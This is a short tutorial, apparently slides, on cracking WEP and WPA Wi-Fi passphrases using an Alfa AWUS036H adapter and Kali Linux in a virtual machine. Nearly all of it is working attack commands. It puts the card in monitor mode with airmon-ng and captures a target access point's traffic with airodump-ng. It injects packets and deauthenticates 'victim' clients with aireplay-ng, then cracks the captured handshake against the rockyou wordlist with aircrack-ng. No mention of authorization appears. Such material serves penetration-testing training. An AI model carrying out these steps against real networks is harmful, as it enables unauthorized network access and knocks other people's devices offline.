Cracking WEP & WPA using an Alfa AWUS036H and Kali Linux on VM

WHAT?

Get Alfa AWUS036H to work on Kali Virtual Machine

Get airmon-ng working correctly

Find target Access Point

Capture desirable packets

Crack passphrase or key

Stage One

- DO NOT connect your wireless network card to the computer yet!
- Boot computer, start VMWare, launch your Kali virtual computer.
- Login to Kali, open a terminal window.
- Now, connect your wireless network card. Choose the option to connect to VM, not the host computer.
- Type `iwconfig` to see if the wireless NIC is seen by Kali.

Stage Two

- Start Airmon-ng. If it lists processes that might interfere with it, kill the processes. `airmon-ng start wlan0`
- Check for monitor interface, should be something like `wlan0mon`. `iwconfig`
- Listen for traffic, find your target AP. `airodump-ng wlan0mon`
- Copy the channel number (1-11) and the MAC/BSSID for your target AP. Stop airodump-ng.

Stage Three WEP

- Capture packets to/from your target AP.

```
airodump-ng --bssid <APMAC> -c <Ch#> \
       -w WEP wlan0mon
```

- In different terminal, start cracking against the CAP file.

```
aircrack-ng WEP.cap
```

- To expedite, inject packets using aireplay & victim MAC.

```
aireplay-ng -3 -b <APMAC> \
     -h <ClientMAC> wlan0mon
```

- Wait. When aircrack-ng finishes, stop airodump-ng & aireplay-ng.

Stage Three WPA

- Capture packets to/from your target AP.

```
airodump-ng --bssid <APMAC> -c <Ch#> \
       -w WPA wlan0mon
```

- You're looking for a message "WPA handshake" in the upper right corner of the airodump-ng window.

- To force handshakes, deauth client using aireplay & victim MAC.

```
aireplay-ng -0 3 -a <APMAC> \
       -c <ClientMAC> wlan0mon
```

- Repeat deauth until you have a handshake. Stop airodump-ng & aireplay-ng.

Stage Four WPA

- If needed, unzip the rockyou wordlist.

```
gunzip /usr/share/wordlists/rockyou.txt.gz
```

- Crack password from capture file. For more complex passphrases you should use either HashCat or John The Ripper. For our example, we'll use aircrack-ng because our passphrases are simpler and we don't need more complex rulesets.

```
aircrack-ng -wpa -b <APMAC> -w \
/usr/share/wordlists/rockyou.txt WPA.cap
```

- Wait. If the password is in the dictionary, you'll win.

QUESTIONS?